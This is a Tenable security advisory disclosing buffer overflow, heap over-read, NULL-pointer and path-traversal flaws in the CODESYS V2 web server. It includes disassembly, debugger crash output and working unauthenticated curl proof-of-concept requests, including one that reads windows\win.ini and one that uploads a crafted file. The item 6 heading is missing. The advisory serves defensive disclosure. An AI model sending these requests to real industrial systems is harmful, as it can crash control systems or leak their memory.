tenable

CODESYS V2 Web Server Multiple Vulnerabilities

Critical

← View More Research Advisories

Synopsis

1) Buffer Overflow
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H

A buffer overflow condition exists when copying data from a 0x100-byte stack-based buffer to a heap-based communication buffer. The copy size is controlled by the attacker:

```
.text:00404EE8 loc_404EE8:                 ; CODE XREF: FillPlcRequest+426↑j
.text:00404EE8      mov     edx, sz_array_indx
.text:00404EEE      cmp     ty_array[edx*4], 8
.text:00404EF6      jnz     short loc_404F1C
.text:00404EF8 ty = 8
.text:00404EF8      mov     eax, sz_array_indx
.text:00404EFD      mov     ecx, sz_array[eax*4]
.text:00404F04      push    ecx             ; attacker-controlled copy size
.text:00404F05      lea     edx, [ebp+sbuf100] ; 0x100-byte stack buffer
.text:00404F0B      push    edx             ; buffer over-read
.text:00404F0C      mov     eax, pbCommBufCur ; 0x3fff-byte heap buffer
.text:00404F11      push    eax             ; buffer over-write
.text:00404F12      call    _memcpy
```

An unauthenticated remote attacker can exploit this vulnerability with the following CURL command:

```
curl -d '|1|6|0|co|<copy_size>|8|v0x1|<data>|' http://<codesys_v2_web_server>:8080/
```

When handling this message, the CODESYS V2 web server fills a 0x100-byte stack-based buffer with <data>, limiting the buffer to have up to 0x100 bytes of <data>. The server then copies <copy_size> bytes from the stack-based buffer to a heap-based communication buffer. By default, the communication buffer has 0x3fff (16383) bytes but is configurable via the 'buffer-size' setting in the web server configuration file (webserver_conf.xml).

A large attacker-controlled <copy_size> can cause a buffer over-read on the stack-based buffer or a buffer over-write on the heap-based communication buffer, which can crash the web server or the CODESYS Control runtime system:

```
curl -d '|1|6|0|co|20000|8|v0x1|AAAAAAAA|' http://<codesys_v2_web_server>:8080/

0:004> g
(1e90.1bf8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=64003100 ebx=016f0000 ecx=0184a518 edx=00100000 esi=0170afe0 edi=01840000
eip=77da1f6b esp=0014c83c ebp=0014c860 iopl=0         nv up ei ng nz na pe cy
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010287
ntdll!RtlpInsertFreeBlock+0x10b:
77da1f6b 8b10            mov     edx,dword ptr [eax]  ds:0023:64003100=????????
```

In addition, a large <copy_size> can result in information disclosure as it leaks out stack contents to be traversed over the network if the web server is configured with an external CODESYS Control runtime system via the 'target-ip-address' setting in webserver_conf.xml:

```
curl -d '|1|6|0|co|1000|8|v0x1|AAAAAAAA|' http://<codesys_v2_web_server>:8080/

Wireshark captured TCP stream from the web server to an external CODESYS Control runtime system:

00000000  cc cc 01 00 ef 03 00 00  00 00 00 00 00 00 00 00   ........ ........
00000010  00 00 00 00 03 00 00 00  3c 77 06 00 00 00 01 41   ........ <w.....A
00000020  41 41 41 41 41 41 41 00  00 00 00 00 00 00 00 00   AAAAAAA. ........
00000030  00 00 00 e0 c9 14 00 ec  03 00 00 d0 c5 14 00 00   ........ ........
00000040  c9 14 00 01 00 00 00 00  00 00 00 01 00 00 00 b4   ........ ........
00000050  c5 14 00 00 00 00 00 01  00 00 00 00 00 00 00 d0   ........ ........
00000060  c5 14 00 01 00 00 00 80  7b e1 ff ff ff ff 01 01   ........ {.......
00000070  00 00 00 00 00 00 00 ec  03 00 00 01 00 00 00 00   ........ ........
00000080  00 00 00 01 00 00 00 00  00 00 00 fc c5 14 00 01   ........ ........
00000090  00 00 00 80 7b e1 ff ff  ff ff ff 01 00 00 00 00   ....{... ........
000000A0  00 be 02 ec 03 00 00 01  00 00 00 a4 e7 fc e8 24   ........ .......$
000000B0  c5 14 00 24 c6 14 00 9c  c6 14 00 40 5c 52 75 00   ...$.... ...@\Ru.
000000C0  6e bc 9d fe ff ff ff ac  c6 14 00 1e 5f f8 76 ec   n....... ...._.v.
000000D0  03 00 00 d4 c8 14 00 00  00 00 00 00 00 00 00 e0   ........ ........
000000E0  c9 14 00 90 c6 14 00 3a  c8 0d 59 60 de 41 00 60   .......: ..Y`.A.`
000000F0  de 41 00 00 e0 25 00 1e  5f f8 76 ec 03 00 00 00   .A...%.. _.v.....
00000100  c9 14 00 e0 91 64 00 00  2e 62 00 f8 5f 63 00 bc   .....d.. .b._c..
00000110  c6 14 00 4e c8 0d 59 60  de 41 00 60 de 41 00 00   ...N..Y` .A.`.A..
```

2) Heap-based Buffer Over-read
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

A heap-based buffer over-read/over-write condition exists when the web server performs an in-place XOR-based encoding of user-supplied data. The amount of data to encode is controlled by the attacker and can be larger than the actual size of the data:

```
.text:00409CB8 xor_encode_loop:            ; CODE XREF: XorDataInPlace+AE↓j
.text:00409CB8      mov     ecx, [ebp+i]
.text:00409CBB      add     ecx, 1
.text:00409CBE      mov     [ebp+i], ecx
.text:00409CC1
.text:00409CC1 loc_409CC1:                 ; CODE XREF: XorDataInPlace+4F↑j
.text:00409CC1      mov     edx, [ebp+i]
.text:00409CC4      cmp     edx, [ebp+arg_len] ; attacker-controlled
.text:00409CC4                             ; encode length
.text:00409CC7      jge     short loc_409D17
.text:00409CC9      mov     al, [ebp+var_C]
.text:00409CCC      mov     [ebp+var_10], al
.text:00409CCF      mov     ecx, [ebp+arg_pbInOutData]
.text:00409CD2      add     ecx, [ebp+i]
.text:00409CD5      mov     dl, [ecx]      ; heap buffer over-read
.text:00409CD7      mov     [ebp+var_C], dl
.text:00409CDA      mov     eax, [ebp+indx]
.text:00409CDD      add     eax, 1         ; use next indx in the xor
.text:00409CDD                             ; table to encode the next
.text:00409CDD                             ; input byte
.text:00409CE0      and     eax, 800000FFh
.text:00409CE5      jns     short loc_409CEE
```

An unauthenticated remote attacker can exploit this vulnerability with the following CURL command:

```
curl -d '|11|<filename>.wtc|<xor_encode_len>|<base64_encoded>|<starting_indx_of_the_xor_table>|'  http://<codesys_v2_web_server>:8080/
```

When handling this message, the CODESYS v2 web server does the following:

- Base64-decode <base64_encoded> to a heap-based buffer
- Encode <xor_encode_len> bytes of the base64-decoded data using an XOR-based algorithm
- Write the XOR-encoded data to <webroot>/<filename>.wtc

```
memory check error at 0x01940A64 = 0x2E, should be 0xFD.
memory check error at 0x01940A65 = 0x4E, should be 0xFD.
memory check error at 0x01940A66 = 0x1D, should be 0xFD.
memory check error at 0x01940A67 = 0x26, should be 0xFD.
(2570.ec4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=c1ed4d5c ebx=01940a30 ecx=54571bbf edx=01940a70 esi=01940a68 edi=01940000
eip=77d9ffb7 esp=0014c974 ebp=0014caac iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
ntdll!RtlpFreeHeap+0x797:
77d9ffb7 8b00            mov     eax,dword ptr [eax]  ds:0023:c1ed4d5c=????????
```

3) Message |9 NULL Pointer Dereference
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

A NULL pointer dereference can occur when the web server processes a malformed message starting with |9:

```
.text:0040314C      mov     eax, [ebp+arg_pbData]
.text:0040314F      movsx   ecx, byte ptr [eax]
.text:00403152      cmp     ecx, 39h ; '9'
.text:00403155      jnz     loc_4031F3
.text:0040315B |9
.text:0040315B      mov     edx, [ebp+arg_pbData]
.text:0040315E      add     edx, 2
.text:00403161      mov     [ebp+var_50], edx
.text:00403164      mov     [ebp+var_4C], 0
.text:0040316B      mov     eax, [ebp+arg_pbData]
.text:0040316E      add     eax, 2
.text:00403171      mov     [ebp+arg_pbData], eax
.text:00403174      push    7Ch ; '|'           ; int
.text:00403176      mov     ecx, [ebp+arg_pbData]
.text:00403179      push    ecx             ; char *
.text:0040317A      call    _strchr
.text:0040317F      add     esp, 8
.text:00403182      mov     [ebp+var_48], eax ; returned pointer not
.text:00403182                                ; checked for NULL
.text:00403185      mov     edx, [ebp+var_48]
.text:00403188      mov     byte ptr [edx], 0 ; NULL ptr write
```

An unauthenticated remote attacker can exploit this vulnerability to crash the web server or the CODESYS Control runtime system:

```
curl -d '|9|0000'  http://<codesys_v2_web_server>:8080/

(1314.1164): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\3S Software\CODESYS V2.3\Visu\webserver.exe
eax=00000000 ebx=0021f000 ecx=00000000 edx=00000000 esi=0041de60 edi=0041de60
eip=00403188 esp=0014c698 ebp=0014cb70 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
webserver+0x3188:
00403188 c60200          mov     byte ptr [edx],0          ds:0023:00000000=??
```

4) Message |10 NULL Pointer Dereference
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

A NULL pointer dereference can occur when the web server processes a malformed message starting with |10:

```
.text:0040335B      mov     eax, [ebp+arg_pbData]
.text:0040335E      movsx   ecx, byte ptr [eax]
.text:00403361      cmp     ecx, 31h ; '1'
.text:00403364      jnz     loc_403415
.text:0040336A      mov     edx, [ebp+arg_pbData]
.text:0040336D      movsx   eax, byte ptr [edx+1]
.text:00403371      cmp     eax, 30h ; '0'
.text:00403374      jnz     loc_403415
.text:0040337A |10
.text:0040337A      mov     ecx, [ebp+arg_pbData]
.text:0040337D      add     ecx, 3
.text:00403380      mov     [ebp+var_64], ecx
.text:00403383      mov     [ebp+var_60], 0
.text:0040338A      mov     edx, [ebp+arg_pbData]
.text:0040338D      add     edx, 3
.text:00403390      mov     [ebp+arg_pbData], edx
.text:00403393      push    7Ch ; '|'
.text:00403395      mov     eax, [ebp+arg_pbData]
.text:00403398      push    eax
.text:00403399      call    _strchr
.text:0040339E      add     esp, 8
.text:004033A1      mov     [ebp+var_5C], eax ; returned pointer not
```

An unauthenticated remote attacker can exploit this vulnerability to crash the web server or the CODESYS Control runtime system:

```
curl -d '|10|0' http://<codesys_v2_web_server>:8080/

(ef4.e58): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\3S Software\CODESYS V2.3\Visu\webserver.exe
eax=00000000 ebx=002f9000 ecx=00000000 edx=00520a60 esi=0041de60 edi=0041de60
eip=004033a7 esp=0014c698 ebp=0014cb70 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
webserver+0x33a7:
004033a7 c60100          mov     byte ptr [ecx],0          ds:0023:00000000=??
```

5) Message |b or |e NULL Pointer Dereference
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

A NULL pointer dereference can occur when the web server processes a malformed message starting with |b or |e:

```
.text:00403A7D      mov     eax, [ebp+arg_pbData]
.text:00403A80      movsx   ecx, byte ptr [eax]
.text:00403A83      cmp     ecx, 62h ; 'b'
.text:00403A86      jz      short loc_403A97
.text:00403A88      mov     edx, [ebp+arg_pbData]
.text:00403A8B      movsx   eax, byte ptr [edx]
.text:00403A8E      cmp     eax, 65h ; 'e'
.text:00403A91      jnz     loc_403E4B
.text:00403A97 |b or |e
[...]
.text:00403C88      push    7Ch ; '|'
.text:00403C8A      mov     eax, [ebp+arg_pbData]
.text:00403C8D      push    eax
.text:00403C8E      call    _strchr
.text:00403C93      add     esp, 8
.text:00403C96      mov     [ebp+var_84], eax ; returned pointer not
.text:00403C96                                ; checked for NULL
.text:00403C9C      mov     ecx, [ebp+var_84]
.text:00403CA2      mov     byte ptr [ecx], 0 ; NULL ptr write
```

An unauthenticated remote attacker can exploit this vulnerability to crash the web server or the CODESYS Control runtime system:

```
curl -d '|b|11|22|33|44|55' http://<codesys_v2_web_server>:8080/

(1ccc.6b8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\3S Software\CODESYS V2.3\Visu\webserver.exe
eax=00000000 ebx=003b4000 ecx=00000000 edx=00a1a49c esi=0041de60 edi=0041de60
eip=00403ca2 esp=0014c698 ebp=0014cb70 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
webserver+0x3ca2:
00403ca2 c60100          mov     byte ptr [ecx],0          ds:0023:00000000=??
```

```
.text:00402D75      mov     eax, [ebp+psHexNum] ; NULL ptr if the string in
.text:00402D75                                  ; the first argument of the
.text:00402D75                                  ; function does not start
.text:00402D75                                  ; with character v, w or y
.text:00402D78      add     eax, 1
.text:00402D7B      mov     [ebp+psHexNum], eax
.text:00402D7E      mov     ecx, [ebp+psHexNum]
.text:00402D81      movsx   edx, byte ptr [ecx-1] ; NULL ptr read
```

An unauthenticated remote attacker can exploit this vulnerability to crash the web server or the CODESYS Control runtime system:

```
curl -d '|0|5|0|co|1000|8|a0x1|'  http://<codesys_v2_web_server>:8080/

(2640.259c): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\3S Software\CODESYS V2.3\Visu\webserver.exe
eax=00000001 ebx=003ac000 ecx=00000001 edx=00000001 esi=0041de60 edi=0041de60
eip=00402d81 esp=0014c208 ebp=0014c234 iopl=0         nv up ei pl nz na po nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010202
webserver+0x2d81:
00402d81 0fbe51ff        movsx   edx,byte ptr [ecx-1]       ds:0023:00000000=??
```

7) Message |6 Invalid Memory Access DoS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

A memory read access violation can occur when the web server processes a message starting with |6:

```
.text:00407637      push    3Bh ; ';'
.text:00407639      mov     ecx, [ebp+arg_psLine]
.text:0040763C      push    ecx
.text:0040763D      call    _strchr
.text:00407642      add     esp, 8
.text:00407645      add     eax, 1          ; returned pointer not
.text:00407645                              ; checked for NULL
.text:00407648      mov     [ebp+psSemiColon], eax
.text:0040764B      mov     edx, [ebp+psLine]
.text:0040764E      push    edx
.text:0040764F      call    _atol
.text:00407654      add     esp, 4
.text:00407657      mov     [ebp+var_4], eax
.text:0040765A      mov     eax, [ebp+psSemiColon] ; NULL + 1
.text:0040765A                              ; read access violation !
.text:0040765D      push    eax
.text:0040765E      call    _atol
```

The vulnerability is triggered when processing unexpected file contents as part of message handling. An unauthenticated remote attacker can leverage a path traversal in the file extension field of the message to force the server to process the contents of an arbitrary file on the local file system. This can crash the web server or the CODESYS Control runtime system:

```
curl -d '|6|a|ext\\..\\..\\..\\..\\..\\..\\..\\windows\\win.ini|3|4|5|6|' http://<codesys_v2_web_server>:8080/

(1eec.20e8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\3S Software\CODESYS V2.3\Visu\webserver.exe
eax=00000000 ebx=003f1000 ecx=00431a5a edx=00000001 esi=0041de60 edi=0041de60
eip=0041bfdb esp=0014cb48 ebp=0014cb5c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
webserver+0x1bfdb:
0041bfdb 8a02            mov     al,byte ptr [edx]          ds:0023:00000001=??
```

Alternatively, the attacker can upload a .wtc file and force the web server to process the file contents:

```
curl -d $'|3|file0.wtc|file_content\n|' http://<codesys_v2_web_server>:8080/

curl -d '|6|file|wtc|3|4|5|6|' http://<codesys_v2_web_server>:8080/

(1ee0.1828): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
*** WARNING: Unable to verify checksum for C:\Program Files\3S Software\CODESYS V2.3\Visu\webserver.exe
eax=00000000 ebx=00224000 ecx=00431a5a edx=00000001 esi=0041de60 edi=0041de60
eip=0041bfdb esp=0014cb48 ebp=0014cb5c iopl=0         nv up ei pl zr na pe nc
cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00010246
webserver+0x1bfdb:
0041bfdb 8a02            mov     al,byte ptr [edx]          ds:0023:00000001=??
```

Solution

Apply patch as per vendor recommendations.

Additional References

https://www.codesys.com/security/security-reports.html

Disclosure Timeline

07/20/2021 - Vulnerabilities discovered
07/21/2021 - Tenable discloses to vendor.
07/22/2021 - Vendor acknowledges report.
07/28/2021 - Vendor states that fixes are in progress, requests credit line, and states that preview version will be made available prior to release. Tenable acknowledges.
09/10/2021 - Tenable requests status update.
09/16/2021 - Vendor provides preview patch.
09/20/2021 - Tenable reviews preview patch.
09/21/2021 - Vendor asks if patch has been reviewed.
09/21/2021 - Tenable informs vendor that the fixes in the preview patch have been verified.
09/23/2021 - Vendor states that advisory will be made available once ready.
10/26/2021 - Vendor informs Tenable of advisory release.

Risk Information

Tenable Advisory ID: TRA-2021-47
Credit: Tenable Research

CVSSv3 Base / Temporal Score: 9.8 / 8.8
Affected Products: All variants of the CODESYS runtime system prior version V1.1.9.22 are affected
Risk Factor: Critical

Advisory Timeline

October 26, 2021 - Initial release.